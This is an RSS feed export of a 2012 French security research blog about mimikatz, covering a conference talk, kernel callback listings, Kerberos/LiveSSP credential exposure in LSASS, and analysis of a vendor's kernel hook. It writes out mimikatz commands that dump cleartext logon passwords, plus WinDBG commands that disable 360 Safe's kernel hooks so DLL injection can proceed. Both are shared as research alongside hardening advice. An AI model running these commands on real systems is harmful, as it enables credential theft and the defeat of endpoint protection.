<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog de Gentil Kiwi</title>
	<atom:link href="http://blog.gentilkiwi.com/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.gentilkiwi.com</link>
	<description>L&#039;aide mémoire d&#039;un kiwi</description>
	<lastBuildDate>Thu, 17 May 2012 13:39:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>gentilkiwi @ PHDays 2012</title>
		<link>http://blog.gentilkiwi.com/securite/phdays-2012?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=phdays-2012</link>
		<comments>http://blog.gentilkiwi.com/securite/phdays-2012#comments</comments>
		<pubDate>Tue, 15 May 2012 20:07:30 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[mubix]]></category>
		<category><![CDATA[pass the pass]]></category>
		<category><![CDATA[phdays]]></category>
		<category><![CDATA[sekurlsa]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1418</guid>
		<description><![CDATA[Mubix avait déjà un peu vendu la mèche ;), mais j&#8217;ai la chance d&#8217;être invité par Positive Technologies à Moscou :) Je participerai donc en tant qu&#8217;intervenant aux Positive Hack Days (PHDays) ! Au travers de mon exercice de prédilection, &#8230; <a href="http://blog.gentilkiwi.com/securite/phdays-2012">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://phdays.com" title="PHDays"><img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/05/phd.png" alt="phd" class="alignright" style="border: none; background: none" /></a><br />
<a href="http://www.room362.com/blog/2012/4/26/phdays-in-moscow.html">Mubix</a> avait déjà un peu vendu la mèche ;), mais j&#8217;ai la chance d&#8217;être invité par <a href="http://ptsecurity.com/" title="Positive Technologies">Positive Technologies</a> à Moscou :)</p>
<p>Je participerai donc en tant qu&#8217;intervenant aux <a href="http://phdays.com" title="PHDays">Positive Hack Days (PHDays)</a> !</p>
<p>Au travers de mon exercice de prédilection, les <em>slides</em> (!), j&#8217;y exposerai <code><a href="http://blog.gentilkiwi.com/mimikatz">mimikatz</a></code> et en particulier les secrets de la librairie <code><a href="http://blog.gentilkiwi.com/mimikatz/sekurlsa">sekurlsa</a></code> !<br />
<img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/05/slide.png" alt="slide" /><br />
Les participants comprendront rapidement comment coder eux-même des modules de récupération de mots de passe Windows !</p>
<p><strong><u>Attention :</u> les participants du premier rang pourraient apercevoir des mots de passe en clair et avoir envie de coder des modules Meterpreter&#8230;<br />
</strong></p>
<p>En dehors de ma présentation (le 31 Mai à 13 heures), j&#8217;assisterai à un maximum de concours et de conférences d&#8217;experts : <a href="http://phdays.com/program/">http://phdays.com/program/</a>.<br />
Je vous encourage fortement à faire de même !</p>
<p>Si des francophones participent à cette conférence, n&#8217;hésitez pas à me contacter ; mon russe est trop ancien pour m&#8217;en sortir seul ;)</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/phdays-2012/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mimikatz : callbacks Kernel</title>
		<link>http://blog.gentilkiwi.com/securite/mimikatz/callbacks-kernel?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=callbacks-kernel</link>
		<comments>http://blog.gentilkiwi.com/securite/mimikatz/callbacks-kernel#comments</comments>
		<pubDate>Sat, 12 May 2012 19:00:55 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[mimikatz]]></category>
		<category><![CDATA[driver]]></category>
		<category><![CDATA[objects]]></category>
		<category><![CDATA[ObRegisterCallbacks]]></category>
		<category><![CDATA[pilote]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1401</guid>
		<description><![CDATA[Prochainement documenté : L&#8217;activation de callbacks sur d&#8217;autre objets que les Process et Threads par Sandboxie en x64 est non supporté, mais cela reste quand même plus propre qu&#8217;en x86 où il remplace les procédures système par défaut de ces &#8230; <a href="http://blog.gentilkiwi.com/securite/mimikatz/callbacks-kernel">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/05/pingouins.jpg" alt="pingouins" /></p>
<p>Prochainement documenté :</p>
<pre class="brush: plain; title: ; notranslate">mimikatz # [...]
kListNotifyObjects

[...]
Process
 - Open        : FFFFF80002DA6960 [ntoskrnl.exe+3463520]
 - Close       : FFFFF80002D8B074 [ntoskrnl.exe+3350644]
 - Delete      : FFFFF80002D8A330 [ntoskrnl.exe+3347248]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF880033083C8 [klif.sys+218056] / FFFFF880033087D4 [klif.sys+219092]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Token
 - Delete      : FFFFF80002D9BED0 [ntoskrnl.exe+3419856]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Mutant
 - Delete      : FFFFF80002AA27E4 [ntoskrnl.exe+301028]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

File
 - Close       : FFFFF80002DDB580 [ntoskrnl.exe+3679616]
 - Delete      : FFFFF80002DCFEC0 [ntoskrnl.exe+3632832]
 - Parse       : FFFFF80002DF7AF0 [ntoskrnl.exe+3795696]
 - Security    : FFFFF80002DB3240 [ntoskrnl.exe+3514944]
 - QueryName   : FFFFF80002DB3514 [ntoskrnl.exe+3515668]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Semaphore
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Section
 - Delete      : FFFFF80002DEFFA0 [ntoskrnl.exe+3764128]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Thread
 - Open        : FFFFF80002DBF91C [ntoskrnl.exe+3565852]
 - Delete      : FFFFF80002DA9030 [ntoskrnl.exe+3473456]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF880033083C8 [klif.sys+218056] / FFFFF880033087D4 [klif.sys+219092]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

Event
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]

ALPC Port
 - Open        : FFFFF80002DB1980 [ntoskrnl.exe+3508608]
 - Close       : FFFFF80002D76EA0 [ntoskrnl.exe+3268256]
 - Delete      : FFFFF80002D759D4 [ntoskrnl.exe+3262932]
 - Security    : FFFFF80002DBDCA0 [ntoskrnl.exe+3558560]
 * Callback 1  : FFFFF88004212240 [SbieDrv.sys+74304] / FFFFF8800421742C [SbieDrv.sys+95276]</pre>
<p>L&#8217;activation de callbacks sur d&#8217;autre objets que les Process et Threads par <a href="http://www.sandboxie.com/index.php?ExperimentalProtection">Sandboxie en x64 est non supporté</a>, mais cela reste quand même plus propre qu&#8217;en x86 où il remplace les procédures système par défaut de ces objets&#8230;</p>
<pre class="brush: plain; highlight: [6,10]; title: ; notranslate">mimikatz # [...]
kListNotifyObjects

[...]
Process
 - Open        : 9269B070 [?]
 - Close       : 82ABFF55 [ntkrnlpa.exe+2559829]
 - Delete      : 82AC281C [ntkrnlpa.exe+2570268]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]
 * Callback 3  : 87CCACB2 [MpFilter.sys+97458] / 00000000 [?]

Token
 - Open        : 9269B020 [?]
 - Delete      : 82AA9120 [ntkrnlpa.exe+2466080]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

Mutant
 - Open        : 9269B250 [?]
 - Delete      : 8290FFAB [ntkrnlpa.exe+790443]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

File
 - Close       : 82A8188B [ntkrnlpa.exe+2304139]
 - Delete      : 82A809D3 [ntkrnlpa.exe+2300371]
 - Parse       : 9269B110 [?]
 - Security    : 82AB33BD [ntkrnlpa.exe+2507709]
 - QueryName   : 82ABF86E [ntkrnlpa.exe+2558062]

Semaphore
 - Open        : 9269B2A0 [?]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

Section
 - Open        : 9269B2F0 [?]
 - Delete      : 82A71981 [ntkrnlpa.exe+2238849]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

Thread
 - Open        : 9269B0C0 [?]
 - Delete      : 82AB89BB [ntkrnlpa.exe+2529723]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

Event
 - Open        : 9269B200 [?]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

ALPC Port
 - Open        : 9269B340 [?]
 - Close       : 82AAF0A3 [ntkrnlpa.exe+2490531]
 - Delete      : 82AAE8AC [ntkrnlpa.exe+2488492]
 - Security    : 82AB47D6 [ntkrnlpa.exe+2512854]

Device
 - Delete      : 82A0A338 [ntkrnlpa.exe+1815352]
 - Parse       : 9269B160 [?]
 - Security    : 82AB33BD [ntkrnlpa.exe+2507709]

Key
 - Close       : 82A9B2E6 [ntkrnlpa.exe+2409190]
 - Delete      : 82A8280B [ntkrnlpa.exe+2308107]
 - Parse       : 9269B1B0 [?]
 - Security    : 82A4431B [ntkrnlpa.exe+2052891]
 - QueryName   : 82A3AD00 [ntkrnlpa.exe+2014464]</pre>
<p>Malgré le <code>?</code> indiquant l&#8217;abscence de référence pour l&#8217;adresse <code>0x9269b070</code> en ligne 6, il s&#8217;agit bien de Sandboxie qui a placé un trampoline :</p>
<pre class="brush: asm; title: ; notranslate">9269b070 8bc0            mov     eax,eax
9269b072 b88e07b191      mov     eax,offset SbieDrv+0x1378e (91b1078e)
9269b077 6a00            push    0
9269b079 6a00            push    0
9269b07b ffd0            call    eax</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/mimikatz/callbacks-kernel/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WinDBG 6.2.8250.0</title>
		<link>http://blog.gentilkiwi.com/retro-ingenierie/windbg-6-2-8250-0?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=windbg-6-2-8250-0</link>
		<comments>http://blog.gentilkiwi.com/retro-ingenierie/windbg-6-2-8250-0#comments</comments>
		<pubDate>Mon, 23 Apr 2012 05:30:37 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Rétro-ingénierie]]></category>
		<category><![CDATA[6.2.8250.0]]></category>
		<category><![CDATA[windbg]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1390</guid>
		<description><![CDATA[La version 6.2.8250.0 de WinDBG (débogueur de Microsoft) : x86_debuggers_and_tools-x86_en-us.msi x64_debuggers_and_tools-x64_en-us.msi Parce que l&#8217;on a pas forcément envie de relancer plusieurs programmes d&#8217;installation pour juste ce composant&#8230;]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/04/windbg-6.2.8250.0.png" alt="windbg 6.2.8250.0" /></p>
<p>La version 6.2.8250.0 de WinDBG (débogueur de Microsoft) :</p>
<ul>
<li><a href="http://blog.gentilkiwi.com/downloads/x86_debuggers_and_tools-x86_en-us.msi">x86_debuggers_and_tools-x86_en-us.msi</a></li>
<li><a href="http://blog.gentilkiwi.com/downloads/x64_debuggers_and_tools-x64_en-us.msi">x64_debuggers_and_tools-x64_en-us.msi</a></li>
</ul>
<p>Parce que l&#8217;on a pas forcément envie de relancer plusieurs programmes d&#8217;installation pour juste ce composant&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/retro-ingenierie/windbg-6-2-8250-0/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Re &#8211; re &#8211; re &#8211; pass the pass (word)</title>
		<link>http://blog.gentilkiwi.com/securite/rerere-pass-the-pass?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=rerere-pass-the-pass</link>
		<comments>http://blog.gentilkiwi.com/securite/rerere-pass-the-pass#comments</comments>
		<pubDate>Tue, 27 Mar 2012 03:00:47 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[kerberos]]></category>
		<category><![CDATA[livessp]]></category>
		<category><![CDATA[lm]]></category>
		<category><![CDATA[luid]]></category>
		<category><![CDATA[mot de passe]]></category>
		<category><![CDATA[ntlm]]></category>
		<category><![CDATA[pass the pass]]></category>
		<category><![CDATA[security provider]]></category>
		<category><![CDATA[sso]]></category>
		<category><![CDATA[tspkg]]></category>
		<category><![CDATA[wdigest]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1362</guid>
		<description><![CDATA[Certains tendent le bâton&#8230; :( Fournir aisément à autrui, par ses dires ou son comportement, l’occasion, la raison ou le simple prétexte de se faire blâmer, condamner ou punir. Après le dernier billet sur &#171;&#160;re &#8211; re &#8211; pass the &#8230; <a href="http://blog.gentilkiwi.com/securite/rerere-pass-the-pass">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<hr />
<img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/03/homer.jpg" alt="homer" /><br />
</em><strong>Certains tendent le bâton&#8230; :(</strong></em></p>
<blockquote><p>Fournir aisément à autrui, par ses dires ou son comportement, l’occasion, la raison ou le simple prétexte de se faire blâmer, condamner ou punir. </p></blockquote>
<hr />
<p>Après le dernier billet sur &laquo;&nbsp;<a href="http://blog.gentilkiwi.com/securite/rere-pass-the-pass" title="Re – re – pass the pass (word)">re &#8211; re &#8211; pass the pass</a>&nbsp;&raquo; et&#8230;</p>
<ul>
<li>l’absence de réaction (oui, cela a été rapide :)</li>
<li>une bonne <a href="https://twitter.com/#!/mubix/status/184007508963241984">question</a></li>
</ul>
<p>&#8230; voici la suite !</p>
<h2>Le provider</h2>
<p>Cette fois ci nous avons le provider Kerberos ! Son fonctionnement par ticket n&#8217;impose normalement pas la réutilisation des mot de passe en clair.<br />
Cf. une explication rapide de Microsoft : <a href="http://technet.microsoft.com/en-us/library/bb742516.aspx">http://technet.microsoft.com/en-us/library/bb742516.aspx</a><br />
<img src="http://technet.microsoft.com/en-us/library/Bb742516.kerb01_big.gif" alt="kerberos par MS" /></p>
<p>Ce qui est dommage, c&#8217;est <em>qu&#8217;une fois de plus</em> des mots de passe sont encore conservés dans la mémoire du processus LSASS (en particulier à partir de NT 6).<br />
<img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/03/mimikatz_vs_kerberos.png" alt="mimikatz_vs_kerberos" /></p>
<h2>Téléchargement et fonctionnement</h2>
<p>Une mise à jour de mimikatz existe, mais elle n&#8217;est <em>toujours pas</em> disponible en téléchargement&#8230; (merci à nos amis éditeurs antivirus et Microsoft qui choisis de blacklister plutôt que d&#8217;améliorer ses processus)<br />
Plus de <em>release</em> <a href="http://phdays.com/">avant fin mai</a></p>
<p>A exécuter après avoir obtenu des droits administrateurs (ou system) :</p>
<pre class="brush: plain; title: ; notranslate">privilege::debug
inject::service samss sekurlsa.dll
@getLogonPasswords full</pre>
<p>La commande <code>privilege::debug</code> n&#8217;est pas obligatoire si vous êtes déjà system.<br />
(plus d&#8217;information : <a href="http://blog.gentilkiwi.com/mimikatz/sekurlsa#getLogonPasswords">http://blog.gentilkiwi.com/mimikatz/sekurlsa#getLogonPasswords</a> et <a href="http://blog.gentilkiwi.com/mimikatz/sekurlsa/kerberos">http://blog.gentilkiwi.com/mimikatz/sekurlsa/kerberos</a>)</p>
<p>Nouvelles commandes (si besoin de séparation) :</p>
<pre class="brush: plain; title: ; notranslate">@getMSV
@getTsPkg
@getWDigest
@getLiveSSP
@getKerberos</pre>
<p><code>@getLogonPasswords</code> utilise les providers disponibles et connus par <code>mimikatz</code>.</p>
<h2>Améliorations</h2>
<ul>
<li><del datetime="2012-03-27T02:31:48+00:00">ne garder que <code>kerberos</code>, <code>msv1_0</code> et <code>schannel</code> dans la liste des providers autorisés (se référer au billet d&#8217;origine sur &laquo;&nbsp;pass the pass&nbsp;&raquo;)</del><br />
Utiliser Kerberos uniquement avec des Tokens et Cartes à puce (<a href="http://msdn.microsoft.com/library/windows/desktop/aa377874.aspx">sans délégation</a>)<br />
<em>ils sont essentiels au fonctionnement des services Windows</em></li>
<li>demander à Microsoft la validité de ce mode de fonctionnement avec un minimum de provider (je n&#8217;y crois vraiment plus&#8230;)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/rerere-pass-the-pass/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Re &#8211; re &#8211; pass the pass (word)</title>
		<link>http://blog.gentilkiwi.com/securite/rere-pass-the-pass?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=rere-pass-the-pass</link>
		<comments>http://blog.gentilkiwi.com/securite/rere-pass-the-pass#comments</comments>
		<pubDate>Sun, 25 Mar 2012 19:42:10 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[livessp]]></category>
		<category><![CDATA[lm]]></category>
		<category><![CDATA[luid]]></category>
		<category><![CDATA[mot de passe]]></category>
		<category><![CDATA[ntlm]]></category>
		<category><![CDATA[pass the pass]]></category>
		<category><![CDATA[security provider]]></category>
		<category><![CDATA[sso]]></category>
		<category><![CDATA[tspkg]]></category>
		<category><![CDATA[wdigest]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1338</guid>
		<description><![CDATA[Toute ressemblance avec un billet précédent est malheureusement normale :( Je ne pense pas que Microsoft change sa philosophie de gestion du SSO dans un avenir très proche&#8230; Après le dernier billet sur &#171;&#160;re &#8211; pass the pass&#160;&#187; et&#8230; les &#8230; <a href="http://blog.gentilkiwi.com/securite/rere-pass-the-pass">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<hr />
<img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/03/maggie_incas.jpg" alt="maggie_incas" /><br />
</em><strong>Toute ressemblance avec un billet précédent est malheureusement normale :( </strong><br />
Je ne pense pas que Microsoft change sa philosophie de gestion du SSO dans un avenir très proche&#8230;</em></p>
<hr />
<p>Après le dernier billet sur &laquo;&nbsp;<a href="http://blog.gentilkiwi.com/securite/re-pass-the-pass" title="Re – pass the pass (word)">re &#8211; pass the pass</a>&nbsp;&raquo; et&#8230;</p>
<ul>
<li>les réactions positives de certains (Espagnols, Américains, Russes et Chinois)</li>
<li>les réactions étranges d&#8217;autres : <a href="http://blog.gentilkiwi.com/securite/mimikatz/hacktool-win32-mikatz-dll-hacktool-win64-mikatz-dll" title="HackTool:Win32/Mikatz!dll et HackTool:Win64/Mikatz!dll">Microsoft</a> &#038; <a href="http://seclists.org/fulldisclosure/2012/Mar/77">Amplia</a> <a href="http://hexale.blogspot.fr/2012/03/wce-v13beta-32bit-released.html">Security</a> (ça faisait juste quasi un an que je l&#8217;avais présenté&#8230;)</li>
<li><a href="https://twitter.com/gentilkiwi/status/176113631388385280">Windows 8</a> en approche</li>
</ul>
<p>&#8230; voici la suite !</p>
<h2>Le provider</h2>
<p>Cette fois ci nous avons le provider LiveSSP qui, dans Windows 8, permet de se connecter avec son compte Microsoft Live (avec tout de même un petit cache dans la SAM locale en cas d&#8217;indisponibilité d&#8217;Internet ou des services Live).</p>
<p><img src="http://blog.gentilkiwi.com/wp-content/uploads/2012/03/mimikatz_vs_livessp.png" alt="mimikatz_vs_livessp" /></p>
<p><u>Remarques :</u></p>
<ul>
<li>un compte Live est utilisé avec les providers :
<ul>
<li><code>msv1_0</code></li>
<li><code>tspkg</code></li>
<li><code>livessp</code></li>
</ul>
</li>
<li>un compte non Live est utilisé avec les providers :
<ul>
<li><code>msv1_0</code></li>
<li><code>wdigest</code></li>
<li><code>tspkg</code></li>
</ul>
</li>
</ul>
<h2>Téléchargement et fonctionnement</h2>
<p>Une mise à jour de mimikatz existe, mais elle n&#8217;est pas <em>encore</em> disponible en téléchargement&#8230; (merci à nos amis éditeurs antivirus et Microsoft qui choisis de blacklister plutôt que d&#8217;améliorer ses processus)<br />
Plus de <em>release</em> <a href="http://phdays.com/">avant fin mai</a></p>
<p>A exécuter après avoir obtenu des droits administrateurs (ou system) :</p>
<pre class="brush: plain; title: ; notranslate">privilege::debug
inject::service samss sekurlsa.dll
@getLogonPasswords full</pre>
<p>La commande <code>privilege::debug</code> n&#8217;est pas obligatoire si vous êtes déjà system.<br />
(plus d&#8217;information : <a href="http://blog.gentilkiwi.com/mimikatz/sekurlsa#getLogonPasswords">http://blog.gentilkiwi.com/mimikatz/sekurlsa#getLogonPasswords</a> et <a href="http://blog.gentilkiwi.com/mimikatz/sekurlsa/livessp">http://blog.gentilkiwi.com/mimikatz/sekurlsa/livessp</a>)</p>
<p>Nouvelles commandes (si besoin de séparation) :</p>
<pre class="brush: plain; title: ; notranslate">@getMSV
@getTsPkg
@getWDigest
@getLiveSSP</pre>
<p><code>@getLogonPasswords</code> utilise les providers disponibles et connus par <code>mimikatz</code>.</p>
<h2>Améliorations</h2>
<ul>
<li>ne garder que <code>kerberos</code>, <code>msv1_0</code> et <code>schannel</code> dans la liste des providers autorisés (se référer au billet d&#8217;origine sur &laquo;&nbsp;pass the pass&nbsp;&raquo;)<br />
<em>ils sont essentiels au fonctionnement des services Windows</em></li>
<li>demander à Microsoft la validité de ce mode de fonctionnement avec un minimum de provider (je n&#8217;y crois vraiment plus&#8230;)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/rere-pass-the-pass/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>360 Safe et hook noyau</title>
		<link>http://blog.gentilkiwi.com/retro-ingenierie/360-safe-hook-noyau?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=360-safe-hook-noyau</link>
		<comments>http://blog.gentilkiwi.com/retro-ingenierie/360-safe-hook-noyau#comments</comments>
		<pubDate>Thu, 22 Mar 2012 00:29:33 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[Rétro-ingénierie]]></category>
		<category><![CDATA[360 Safe]]></category>
		<category><![CDATA[hips]]></category>
		<category><![CDATA[hook]]></category>
		<category><![CDATA[KiFastCallEntry]]></category>
		<category><![CDATA[mandarin]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1332</guid>
		<description><![CDATA[Un billet rapide sur une protection m&#8217;ayant surpris : 360 Safe de nos amis chinois&#8230; (http://www.360.cn/) Ce sacripant, même &#171;&#160;désactivé&#160;&#187; empêche certains accès à LSASS, et sans doute d&#8217;autres comportements déviants (en tout cas en x86). Plutôt que de manipuler &#8230; <a href="http://blog.gentilkiwi.com/retro-ingenierie/360-safe-hook-noyau">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Un billet rapide sur une protection m&#8217;ayant surpris : 360 Safe de nos amis chinois&#8230; (<a href="http://www.360.cn/">http://www.360.cn/</a>)</p>
<p>Ce sacripant, même &laquo;&nbsp;désactivé&nbsp;&raquo; empêche certains accès à LSASS, et sans doute d&#8217;autres comportements déviants (en tout cas en x86).<br />
Plutôt que de manipuler la SSDT, un pilote (hookport) place quelques trampolines dans la routine de répartition <code>KiFastCallEntry</code>, et s&#8217;assure du maintien de ces derniers :</p>
<pre class="brush: asm; title: ; notranslate">kd&gt; u nt!KiFastCallEntry+0xe1
nt!KiFastCallEntry+0xe1:
8283f241 8b1487          mov     edx,dword ptr [edi+eax*4]
8283f244 e98f7adc02      jmp     85606cd8 ; trampoline vers les fonctions &quot;HIPS&quot;, remplaçant le code original
[…]
kd&gt; u 85606cd8 l1
85606cd8 e92bd5f4fd      jmp     Hookport+0xb208 (83554208) ; second trampoline vers les fonctions &quot;HIPS&quot; de 360
kd&gt; u Hookport+0xc401 ; portions du pilote réécrivant le trampoline
Hookport+0xc401:
83555401 ffa1886a5583    jmp     dword ptr Hookport+0xda88 (83556a88)[ecx]
83555407 c600e9          mov     byte ptr [eax],0E9h  ; instruction ‘jmp’
8355540a a1886a5583      mov     eax,dword ptr [Hookport+0xda88 (83556a88)]
8355540f 8b0d786a5583    mov     ecx,dword ptr [Hookport+0xda78 (83556a78)]
83555415 894801          mov     dword ptr [eax+1],ecx ; pointeur vers le premier trampoline
</pre>
<p>Ce correcteur n&#8217;est lui même pas très protégé :</p>
<pre class="brush: plain; title: ; notranslate">kd&gt; f 83555407 l3 90 ; nop nop nop ;)
Filled 0x3 bytes
kd&gt; f 83555415 l3 90 ; nop nop nop ;)
Filled 0x3 bytes
kd&gt; eb 8283f244 2b e1 c1 e9 02 ; instructions originales remplaçant le premier trampoline</pre>
<p>A nous l&#8217;injection de DLL, ou autres joyeusetés !</p>
<p>Finalement le plus compliqué est d&#8217;installer le produit, en Mandarin&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/retro-ingenierie/360-safe-hook-noyau/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>HackTool:Win32/Mikatz!dll et HackTool:Win64/Mikatz!dll</title>
		<link>http://blog.gentilkiwi.com/securite/mimikatz/hacktool-win32-mikatz-dll-hacktool-win64-mikatz-dll?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=hacktool-win32-mikatz-dll-hacktool-win64-mikatz-dll</link>
		<comments>http://blog.gentilkiwi.com/securite/mimikatz/hacktool-win32-mikatz-dll-hacktool-win64-mikatz-dll#comments</comments>
		<pubDate>Fri, 02 Mar 2012 22:36:04 +0000</pubDate>
		<dc:creator>gentilkiwi</dc:creator>
				<category><![CDATA[mimikatz]]></category>
		<category><![CDATA[HackTool:Win32/Mikatz!dll]]></category>
		<category><![CDATA[HackTool:Win64/Mikatz!dll]]></category>
		<category><![CDATA[sekurlsa]]></category>
		<category><![CDATA[sekurlsa.dll]]></category>

		<guid isPermaLink="false">http://blog.gentilkiwi.com/?p=1323</guid>
		<description><![CDATA[Ciel, je suis devenu un &#171;&#160;hacktool&#160;&#187; mais seulement du point de vue de Microsoft ;) HackTool:Win32/Mikatz!dll HackTool:Win64/Mikatz!dll Vu leurs dangerosité, j&#8217;aurais personnellement blacklisté tspkg.dll et wdigest.dll, mais il est à priori plus facile d&#8217;interdire un programme mettant en avant les &#8230; <a href="http://blog.gentilkiwi.com/securite/mimikatz/hacktool-win32-mikatz-dll-hacktool-win64-mikatz-dll">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Ciel, je suis devenu un &laquo;&nbsp;hacktool&nbsp;&raquo; mais seulement du point de vue de <a href=" http://www.microsoft.com/security/portal/Definitions/WhatsNew.aspx?Version=1.121.594.0&#038;Package=AM">Microsoft</a> ;)</p>
<ul>
<li><a href="http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=HackTool%3aWin32%2fMikatz%21dll&#038;ThreatID=-2147312815">HackTool:Win32/Mikatz!dll</a></li>
<li><a href="http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=HackTool%3aWin64%2fMikatz%21dll&#038;ThreatID=-2147312814">HackTool:Win64/Mikatz!dll</a></li>
</ul>
<p>Vu leurs dangerosité, j&#8217;aurais personnellement blacklisté <code>tspkg.dll</code> et <code>wdigest.dll</code>, mais il est à priori plus facile d&#8217;interdire un programme mettant en avant les faiblesses d&#8217;une architecture/implémentation que de corriger ou améliorer ses points faibles&#8230;</p>
<p>Pourquoi pas, mais des forks de cette librairie arriveront bien ici ou <a href="http://dev.metasploit.com/redmine/issues/6459">ailleurs</a>, espérons que Microsoft ne considère pas cette action de facilité comme une solution&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.gentilkiwi.com/securite/mimikatz/hacktool-win32-mikatz-dll-hacktool-win64-mikatz-dll/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ingénierie sociale (niveau 0)</title>
		<link>http://blog.gentilkiwi.com/securite/mimikatz/ingenierie-sociale-niveau-0?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ingenierie-sociale-niveau-0</link>
		<comments>http://blog.gentilkiwi.com/securite/mimikatz/ingenierie-sociale-niveau-0#comments</comments>
